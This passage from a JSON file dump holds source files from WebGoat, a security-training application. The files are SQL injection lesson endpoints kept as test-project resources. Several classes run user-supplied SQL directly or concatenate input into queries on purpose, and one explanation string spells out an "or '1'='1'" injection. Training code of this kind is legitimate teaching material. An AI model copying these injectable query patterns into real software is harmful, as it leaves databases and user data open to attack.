})\npublic class SqlInjectionLesson2 extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson2(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjection/attack2\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n  }\n\n  protected AttackResult injectableQuery(String query) {\n    try (var connection = dataSource.getConnection()) {\n      Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY);\n      ResultSet results = statement.executeQuery(query);\n      StringBuilder output = new StringBuilder();\n\n      results.first();\n\n      if (results.getString(\"department\").equals(\"Marketing\")) {\n        output.append(\"<span class='feedback-positive'>\" + query + \"</span>\");\n        output.append(SqlInjectionLesson8.generateTable(results));\n        return success(this).feedback(\"sql-injection.2.success\").output(output.toString()).build();\n      } else {\n        return failed(this).feedback(\"sql-injection.2.failed\").output(output.toString()).build();\n      }\n    } catch (SQLException sqle) {\n      return failed(this).feedback(\"sql-injection.2.failed\").output(sqle.getMessage()).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson3.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.introduction;\n\nimport static java.sql.ResultSet.CONCUR_READ_ONLY;\nimport static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE;\n\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(value = {\"SqlStringInjectionHint3-1\", \"SqlStringInjectionHint3-2\"})\npublic class SqlInjectionLesson3 extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson3(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjection/attack3\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n  }\n\n  protected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n      try (Statement statement =\n          connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n        Statement checkStatement =\n            connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY);\n        statement.executeUpdate(query);\n        ResultSet results =\n            checkStatement.executeQuery(\"SELECT * FROM employees WHERE last_name='Barnett';\");\n        StringBuilder output = new StringBuilder();\n        // user completes lesson if the department of Tobi Barnett now is 'Sales'\n        results.first();\n        if (results.getString(\"department\").equals(\"Sales\")) {\n          output.append(\"<span class='feedback-positive'>\" + query + \"</span>\");\n          output.append(SqlInjectionLesson8.generateTable(results));\n          return success(this).output(output.toString()).build();\n        } else {\n          return failed(this).output(output.toString()).build();\n        }\n\n      } catch (SQLException sqle) {\n        return failed(this).output(sqle.getMessage()).build();\n      }\n    } catch (Exception e) {\n      return failed(this).output(this.getClass().getName() + \" : \" + e.getMessage()).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson4.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.introduction;\n\nimport static java.sql.ResultSet.CONCUR_READ_ONLY;\nimport static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE;\n\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\"SqlStringInjectionHint4-1\", \"SqlStringInjectionHint4-2\", \"SqlStringInjectionHint4-3\"})\npublic class SqlInjectionLesson4 extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson4(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjection/attack4\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String query) {\n    return injectableQuery(query);\n  }\n\n  protected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n      try (Statement statement =\n          connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY)) {\n        statement.executeUpdate(query);\n        connection.commit();\n        ResultSet results = statement.executeQuery(\"SELECT phone from employees;\");\n        StringBuilder output = new StringBuilder();\n        // user completes lesson if column phone exists\n        if (results.first()) {\n          output.append(\"<span class='feedback-positive'>\" + query + \"</span>\");\n          return success(this).output(output.toString()).build();\n        } else {\n          return failed(this).output(output.toString()).build();\n        }\n      } catch (SQLException sqle) {\n        return failed(this).output(sqle.getMessage()).build();\n      }\n    } catch (Exception e) {\n      return failed(this).output(this.getClass().getName() + \" : \" + e.getMessage()).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.introduction;\n\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport javax.annotation.PostConstruct;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlStringInjectionHint5-1\",\n      \"SqlStringInjectionHint5-2\",\n      \"SqlStringInjectionHint5-3\",\n      \"SqlStringInjectionHint5-4\"\n    })\npublic class SqlInjectionLesson5 extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson5(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostConstruct\n  public void createUser() {\n    // HSQLDB does not support CREATE USER with IF NOT EXISTS so we need to do it in code (using\n    // DROP first will throw error if user does not exists)\n    try (Connection connection = dataSource.getConnection()) {\n      try (var statement =\n          connection.prepareStatement(\"CREATE USER unauthorized_user PASSWORD test\")) {\n        statement.execute();\n      }\n    } catch (Exception e) {\n      // user already exists continue\n    }\n  }\n\n  @PostMapping(\"/SqlInjection/attack5\")\n  @ResponseBody\n  public AttackResult completed(String query) {\n    createUser();\n    return injectableQuery(query);\n  }\n\n  protected AttackResult injectableQuery(String query) {\n    try (Connection connection = dataSource.getConnection()) {\n      try (Statement statement =\n          connection.createStatement(\n              ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {\n        statement.executeQuery(query);\n        if (checkSolution(connection)) {\n          return success(this).build();\n        }\n        return failed(this).output(\"Your query was: \" + query).build();\n      }\n    } catch (Exception e) {\n      return failed(this)\n          .output(\n              this.getClass().getName() + \" : \" + e.getMessage() + \"<br> Your query was: \" + query)\n          .build();\n    }\n  }\n\n  private boolean checkSolution(Connection connection) {\n    try {\n      var stmt =\n          connection.prepareStatement(\n              \"SELECT * FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES WHERE TABLE_NAME = ? AND GRANTEE =\"\n                  + \" ?\");\n      stmt.setString(1, \"GRANT_RIGHTS\");\n      stmt.setString(2, \"UNAUTHORIZED_USER\");\n      var resultSet = stmt.executeQuery();\n      return resultSet.next();\n    } catch (SQLException throwables) {\n      return false;\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5a.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.introduction;\n\nimport java.sql.*;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(value = {\"SqlStringInjectionHint5a1\"})\npublic class SqlInjectionLesson5a extends AssignmentEndpoint {\n\n  private static final String EXPLANATION =\n      \"<br> Explanation: This injection works, because <span style=\\\"font-style: italic\\\">or '1' =\"\n          + \" '1'</span> always evaluates to true (The string ending literal for '1 is closed by\"\n          + \" the query itself, so you should not inject it). So the injected query basically looks\"\n          + \" like this: <span style=\\\"font-style: italic\\\">SELECT * FROM user_data WHERE\"\n          + \" first_name = 'John' and last_name = '' or TRUE</span>, which will always evaluate to\"\n          + \" true, no matter what came before it.\";\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson5a(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjection/assignment5a\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String account, @RequestParam String operator, @RequestParam String injection) {\n    return injectableQuery(account + \" \" + operator + \" \" + injection);\n  }\n\n  protected AttackResult injectableQuery(String accountName) {\n    String query = \"\";\n    try (Connection connection = dataSource.getConnection()) {\n      query =\n          \"SELECT * FROM user_data WHERE first_name = 'John' and last_name = '\" + accountName + \"'\";\n      try (Statement statement =\n          connection.createStatement(\n              ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE)) {\n        ResultSet results = statement.executeQuery(query);\n\n        if ((results != null) && (results.first())) {\n          ResultSetMetaData resultsMetaData = results.getMetaData();\n          StringBuilder output = new StringBuilder();\n\n          output.append(writeTable(results, resultsMetaData));\n          results.last();\n\n          // If they get back more than one user they succeeded\n          if (results.getRow() >= 6) {\n            return success(this)\n                .feedback(\"sql-injection.5a.success\")\n                .output(\"Your query was: \" + query + EXPLANATION)\n                .feedbackArgs(output.toString())\n                .build();\n          } else {\n            return failed(this).output(output.toString() + \"<br> Your query was: \" + query).build();\n          }\n        } else {\n          return failed(this)\n              .feedback(\"sql-injection.5a.no.results\")\n              .output(\"Your query was: \" + query)\n              .build();\n        }\n      } catch (SQLException sqle) {\n        return failed(this).output(sqle.getMessage() + \"<br> Your query was: \" + query).build();\n      }\n    } catch (Exception e) {\n      return failed(this)\n          .output(\n              this.getClass().getName() + \" : \" + e.getMessage() + \"<br> Your query was: \" + query)\n          .build();\n    }\n  }\n\n  public static String writeTable(ResultSet results, ResultSetMetaData resultsMetaData)\n      throws SQLException {\n    int numColumns = resultsMetaData.getColumnCount();\n    results.beforeFirst();\n    StringBuilder t = new StringBuilder();\n    t.append(\"<p>\");\n\n    if (results.next()) {\n      for (int i = 1; i < (numColumns + 1); i++) {\n        t.append(resultsMetaData.getColumnName(i));\n        t.append(\", \");\n      }\n\n      t.append(\"<br />\");\n      results.beforeFirst();\n\n      while (results.next()) {\n\n        for (int i = 1; i < (numColumns + 1); i++) {\n          t.append(results.getString(i));\n          t.append(\", \");\n        }\n\n        t.append(\"<br />\");\n      }\n\n    } else {\n      t.append(\"Query Successful; however no data was returned from this query.\");\n    }\n\n    t.append(\"</p>\");\n    return (t.toString());\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson5b.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.introduction;\n\nimport java.io.IOException;\nimport java.sql.*;\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlStringInjectionHint5b1\",\n      \"SqlStringInjectionHint5b2\",\n      \"SqlStringInjectionHint5b3\",\n      \"SqlStringInjectionHint5b4\"\n    })\npublic class SqlInjectionLesson5b extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson5b(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjection/assignment5b\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String userid, @RequestParam String login_count, HttpServletRequest request)\n      throws IOException {\n    return injectableQuery(login_count, userid);\n  }\n\n  protected AttackResult injectableQuery(String login_count, String accountName) {\n    String queryString = \"SELECT * From user_data WHERE Login_Count = ? and userid= \" + accountName;\n    try (Connection connection = dataSource.getConnection()) {\n      PreparedStatement query =\n          connection.prepareStatement(\n              queryString, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n\n      int count = 0;\n      try {\n        count = Integer.parseInt(login_count);\n      } catch (Exception e) {\n        return failed(this)\n            .output(\n                \"Could not parse: \"\n                    + login_count\n                    + \" to a number\"\n                    + \"<br> Your query was: \"\n                    + queryString.replace(\"?\", login_count))\n            .build();\n      }\n\n      query.setInt(1, count);\n      // String query = \"SELECT * FROM user_data WHERE Login_Count = \" + login_count + \" and userid\n      // = \" + accountName, ;\n      try {\n        ResultSet results = query.executeQuery();\n\n        if ((results != null) && (results.first() == true)) {\n          ResultSetMetaData resultsMetaData = results.getMetaData();\n          StringBuilder output = new StringBuilder();\n\n          output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));\n          results.last();\n\n          // If they get back more than one user they succeeded\n          if (results.getRow() >= 6) {\n            return success(this)\n                .feedback(\"sql-injection.5b.success\")\n                .output(\"Your query was: \" + queryString.replace(\"?\", login_count))\n                .feedbackArgs(output.toString())\n                .build();\n          } else {\n            return failed(this)\n                .output(\n                    output.toString()\n                        + \"<br> Your query was: \"\n                        + queryString.replace(\"?\", login_count))\n                .build();\n          }\n\n        } else {\n          return failed(this)\n              .feedback(\"sql-injection.5b.no.results\")\n              .output(\"Your query was: \" + queryString.replace(\"?\", login_count))\n              .build();\n        }\n      } catch (SQLException sqle) {\n\n        return failed(this)\n            .output(\n                sqle.getMessage() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count))\n            .build();\n      }\n    } catch (Exception e) {\n      return failed(this)\n          .output(\n              this.getClass().getName()\n                  + \" : \"\n                  + e.getMessage()\n                  + \"<br> Your query was: \"\n                  + queryString.replace(\"?\", login_count))\n          .build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.introduction;\n\nimport static java.sql.ResultSet.CONCUR_UPDATABLE;\nimport static java.sql.ResultSet.TYPE_SCROLL_SENSITIVE;\n\nimport java.sql.*;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlStringInjectionHint.8.1\",\n      \"SqlStringInjectionHint.8.2\",\n      \"SqlStringInjectionHint.8.3\",\n      \"SqlStringInjectionHint.8.4\",\n      \"SqlStringInjectionHint.8.5\"\n    })\npublic class SqlInjectionLesson8 extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson8(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjection/attack8\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) {\n    return injectableQueryConfidentiality(name, auth_tan);\n  }\n\n  protected AttackResult injectableQueryConfidentiality(String name, String auth_tan) {\n    StringBuilder output = new StringBuilder();\n    String query =\n        \"SELECT * FROM employees WHERE last_name = '\"\n            + name\n            + \"' AND auth_tan = '\"\n            + auth_tan\n            + \"'\";\n\n    try (Connection connection = dataSource.getConnection()) {\n      try {\n        Statement statement =\n            connection.createStatement(\n                ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE);\n        log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n\n        if (results.getStatement() != null) {\n          if (results.first()) {\n            output.append(generateTable(results));\n            results.last();\n\n            if (results.getRow() > 1) {\n              // more than one record, the user succeeded\n              return success(this)\n                  .feedback(\"sql-injection.8.success\")\n                  .output(output.toString())\n                  .build();\n            } else {\n              // only one record\n              return failed(this).feedback(\"sql-injection.8.one\").output(output.toString()).build();\n            }\n\n          } else {\n            // no results\n            return failed(this).feedback(\"sql-injection.8.no.results\").build();\n          }\n        } else {\n          return failed(this).build();\n        }\n      } catch (SQLException e) {\n        return failed(this)\n            .output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\")\n            .build();\n      }\n\n    } catch (Exception e) {\n      return failed(this)\n          .output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\")\n          .build();\n    }\n  }\n\n  public static String generateTable(ResultSet results) throws SQLException {\n    ResultSetMetaData resultsMetaData = results.getMetaData();\n    int numColumns = resultsMetaData.getColumnCount();\n    results.beforeFirst();\n    StringBuilder table = new StringBuilder();\n    table.append(\"<table>\");\n\n    if (results.next()) {\n      table.append(\"<tr>\");\n      for (int i = 1; i < (numColumns + 1); i++) {\n        table.append(\"<th>\" + resultsMetaData.getColumnName(i) + \"</th>\");\n      }\n      table.append(\"</tr>\");\n\n      results.beforeFirst();\n      while (results.next()) {\n        table.append(\"<tr>\");\n        for (int i = 1; i < (numColumns + 1); i++) {\n          table.append(\"<td>\" + results.getString(i) + \"</td>\");\n        }\n        table.append(\"</tr>\");\n      }\n\n    } else {\n      table.append(\"Query Successful; however no data was returned from this query.\");\n    }\n\n    table.append(\"</table>\");\n    return (table.toString());\n  }\n\n  public static void log(Connection connection, String action) {\n    action = action.replace('\\'', '\"');\n    Calendar cal = Calendar.getInstance();\n    SimpleDateFormat sdf = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n    String time = sdf.format(cal.getTime());\n\n    String logQuery =\n        \"INSERT INTO access_log (time, action) VALUES ('\" + time + \"', '\" + action + \"')\";\n\n    try {\n      Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);\n      statement.executeUpdate(logQuery);\n    } catch (SQLException e) {\n      System.err.println(e.getMessage());\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.sqlinjection.introduction;\n\nimport static org.hsqldb.jdbc.JDBCResultSet.CONCUR_UPDATABLE;\nimport static org.hsqldb.jdbc.JDBCResultSet.TYPE_SCROLL_SENSITIVE;\n\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints(\n    value = {\n      \"SqlStringInjectionHint.9.1\",\n      \"SqlStringInjectionHint.9.2\",\n      \"SqlStringInjectionHint.9.3\",\n      \"SqlStringInjectionHint.9.4\",\n      \"SqlStringInjectionHint.9.5\"\n    })\npublic class SqlInjectionLesson9 extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  public SqlInjectionLesson9(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/SqlInjection/attack9\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) {\n    return injectableQueryIntegrity(name, auth_tan);\n  }\n\n  protected AttackResult injectableQueryIntegrity(String name, String auth_tan) {\n    StringBuilder output = new StringBuilder();\n    String query =\n        \"SELECT * FROM employees WHERE last_name = '\"\n            + name\n            + \"' AND auth_tan = '\"\n            + auth_tan\n            + \"'\";\n    try (Connection connection = dataSource.getConnection()) {\n      try {\n        Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE);\n        SqlInjectionLesson8.log(connection, query);\n        ResultSet results = statement.executeQuery(query);\n        var test = results.getRow() != 0;\n        if (results.getStatement() != null) {\n          if (results.first()) {\n            output.append(SqlInjectionLesson8.generateTable(results));\n          } else {\n            // no results\n            return failed(this).feedback(\"sql-injection.8.no.results\").build();\n          }\n        }\n      } catch (SQLException e) {\n        System.err.println(e.getMessage());\n        return failed(this)\n            .output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\")\n            .build();\n      }\n\n      return checkSalaryRanking(connection, output);\n\n    } catch (Exception e) {\n      System.err.println(e.getMessage());\n      return failed(this)\n          .output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\")\n          .build();\n    }\n  }\n\n  private AttackResult checkSalaryRanking(Connection connection, StringBuilder output) {\n    try {\n      String query = \"SELECT * FROM employees ORDER BY salary DESC\";\n      try (Statement statement =\n          connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); ) {\n        ResultSet results = statement.executeQuery(query);\n\n        results.first();\n        // user completes lesson if John Smith is the first in the list\n        if ((results.getString(2).equals(\"John\")) && (results.getString(3).equals(\"Smith\"))) {\n          output.append(SqlInjectionLesson8.generateTable(results));\n          return success(this)\n              .feedback(\"sql-injection.9.success\")\n              .output(output.toString())\n              .build();\n        } else {\n          return failed(this).feedback(\"sql-injection.9.one\").output(output.toString()).build();\n        }\n      }\n    } catch (SQLException e) {\n      return failed(this)\n          .output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\")\n          .build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java",
